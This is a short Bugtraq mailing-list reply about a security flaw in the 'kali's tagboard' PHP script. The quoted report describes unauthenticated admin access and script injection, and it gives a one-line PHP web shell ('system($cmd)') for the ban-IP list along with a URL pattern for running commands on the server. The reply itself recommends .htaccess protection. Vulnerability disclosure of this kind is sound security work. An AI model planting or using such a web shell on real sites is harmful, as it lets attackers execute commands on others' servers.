Bugtraq: Re: Vulnerability kali's tagboard

[Jason Dodson <jasond () bblfleet com>]

I think the idea is that the admin script be behind .htaccess 
restrictions, NOT maintained by the software itself.
Jason

piker piker wrote:
> There are some bugs in the kali's tagboard, you can access to the admin system without password!, you can put iframes, 
> scripts...
> But the most vulnerabilitie is in the ban ip's, you can put this script: 
> " <? system($cmd) ?> " and execute commands in the server with this url:
> Example: http://web.com/tag/admin/banned.php?&cmd=command.
>
>
> Am0s Team